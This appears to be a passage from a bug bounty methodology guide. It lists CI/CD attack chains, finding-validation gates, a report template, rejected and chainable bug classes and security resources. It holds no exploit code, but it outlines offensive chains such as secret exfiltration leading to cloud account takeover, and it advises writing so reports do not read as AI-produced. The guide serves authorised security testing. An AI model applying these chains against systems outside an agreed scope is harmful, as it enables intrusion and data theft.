GHSA-vqf5-2xx6-9wfm	github/codeql-action	Known vulnerable official action	High
GHSA-hw6r-g8gj-2987	pytorch/pytorch	Argument injection in build workflow	Moderate

CI/CD A→B Chains

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot

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PHASE 4: VALIDATE

The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO → STOP. See also references/supervisor.md for detailed triage flow.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Write the exact HTTP request. If you cannot produce a working request → KILL IT.

Q2: Does it affect a REAL user who took NO unusual actions?

No "the user would need to..." with 5 preconditions. Victim did nothing special.

Q3: Is the impact concrete (money, PII, ATO, RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.

Q4: Is this in scope per the program policy?

Check the exact domain/endpoint against the program's scope page.

Q5: Did I check Hacktivity/changelog for duplicates?

Search the program's disclosed reports and recent changelog entries.

Q6: Is this NOT on the "always rejected" list?

Check the list below. If it's there and you can't chain it → KILL IT.

Q7: Would a triager reading this say "yes, that's a real bug"?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

4 Pre-Submission Gates (from supervisor.md)

Gate 0: Reality Check (30 seconds)

[ ] The bug is real — confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope — checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

Score	Severity	Typical Bug
0-3.9	Low	Info disclosure (non-sensitive)
4-6.9	Medium	IDOR (read PII), Stored XSS (low impact)
7-8.9	High	IDOR (write/delete), SQLi, Race (double spend)
9-10	Critical	Auth bypass → admin, SSRF (cloud metadata), RCE

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PHASE 5: REPORT

Canonical Report Format

Every report MUST follow this exact structure. No exceptions.

# <Target> Vulnerability Report
## <Descriptive Vulnerability Name>
**Severity:** <Critical | High | Medium | Low>
**Vulnerability Type:** <Primary type> / <Secondary type if applicable>
**Affected Component:** <Component name> (`<path or endpoint>`)
---
## Summary
<3–5 sentences. Covers: what the vulnerability is, where it lives, how it is triggered, and what an attacker gains. No hedging. Present tense.>

---
## Root Cause
### 1. <Root cause label>
- <Tight bullet — one clause each>
- <No prose paragraphs>

---
## Attack Flow
1. <One-line step — actor + action>
2. <One-line step>

---
## Proof of Concept (PoC)
### Step 1: <Short action label>
<sentence describing what this step demonstrates.>
[Screenshot or code block]

---
## Security Impact
An attacker with <access level> can:
- <Concrete impact bullet>
- <Concrete impact bullet>

---
## Realistic Attack Chain
1. <Step>
2. <Final impact>

Format Rules (non-negotiable)

• Zero fluff. Every sentence must carry technical weight.
• No hedging. Never write "may", "could potentially", "it is possible that". If the code allows it, state it as fact.
• Present tense throughout.
• H1 for the report title. H2 for all top-level sections.
• --- as divider after metadata strip and between major sections.
• No tables. No collapsible sections. No emoji.
• PoC steps: numbered, one-line action header (H3), one sentence of context, then screenshot or code block.

Platform Adaptations

Platform	Additional requirement
h1	Append CVSS 3.1 vector string as code block if --cvss
immunefi	Add Asset Type, Blockchain/Tech Stack, Vulnerability Category
bugcrowd	Use Bugcrowd severity labels (P1/P2/P3/P4) alongside plain label
intigriti	Add Impact tag field to metadata strip

Report Title Formula

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good: IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data Bad: IDOR vulnerability found

Impact Statement Formula

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

Human Tone Rules (Avoid AI-Sounding Writing)

• Start sentences with the impact, not the vulnerability name
• Write like you're explaining to a smart developer, not a textbook
• Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
• One concrete example beats three abstract sentences
• No em dashes, no "comprehensive/leverage/seamless/ensure"

The 60-Second Pre-Submit Checklist

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

Program Says	You Counter With
"Requires authentication"	"Attacker needs only a free account (no special role)"
"Limited impact"	"Affects [N] users / [PII type] / [$ amount]"
"Already known"	"Show me the report number — I searched and found none"
"By design"	"Show me the documentation that states this is intended"
"Low CVSS score"	"CVSS doesn't account for business impact — attacker can steal [X]"

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Confidence Scoring

Start at 100, deduct:

• Partial attack path: -20
• Bounded, non-compounding impact: -15
• Requires specific (but achievable) state: -10
• Requires user interaction: -10
• Fix already partially mitigates: -10

Confidence ≥ 80 → full description + PoC + fix. Confidence 60–79 → description + partial PoC. Below 60 → LEAD only (no fix, no PoC).

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ALWAYS REJECTED — Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover, autocomplete on password fields.

Conditionally Valid With Chain

Low Finding	+ Chain	= Valid Bug
Open redirect	+ OAuth code theft	ATO
Clickjacking	+ sensitive action + PoC	Account action
CORS wildcard	+ credentialed exfil	Data theft
CSRF	+ sensitive state change	Account takeover
No rate limit	+ OTP brute force	ATO
SSRF (DNS only)	+ internal access proof	Internal network access
Host header injection	+ password reset poisoning	ATO
Self-XSS	+ login CSRF	Stored XSS on victim

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Safe Patterns (Do Not Flag)

Smart contracts: unchecked in Solidity 0.8+ with correct reasoning, explicit narrowing casts in 0.8+, MINIMUM_LIQUIDITY burn on first deposit, SafeERC20, nonReentrant (flag only cross-contract), two-step admin transfer, consistent protocol-favoring rounding without compounding.

Web/API: Rate limiting that genuinely prevents exploitation, CSRF tokens that are properly validated, self-XSS without escalation path, logout CSRF without session fixation, non-sensitive information disclosure (stack traces in dev mode only).

Infrastructure/Nodes: Unauthenticated operator RPC (ecosystem standard), plaintext local signer/CL↔EL communication, default bind to 0.0.0.0 (dev convenience), JWT without exp when iat freshness enforced, version/health endpoints without auth, no CORS headers on non-browser APIs.

General: Operator configuration parameters treated as attacker input, "add rate limiting" without amplification attack, "use checked_X instead of saturating_X" when upstream check exists, error messages containing HTTP status codes or generic library errors (not credentials/PII).

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RESOURCES

• HackerOne Hacktivity — Disclosed reports
• PortSwigger Web Academy — Free vuln labs
• HackTricks — Attack technique reference
• PayloadsAllTheThings — Payload reference
• SecLists — Comprehensive wordlists
• Solodit — 50K+ searchable audit findings (Web3)
• sisakulint — GitHub Actions SAST
• interactsh — OOB callback server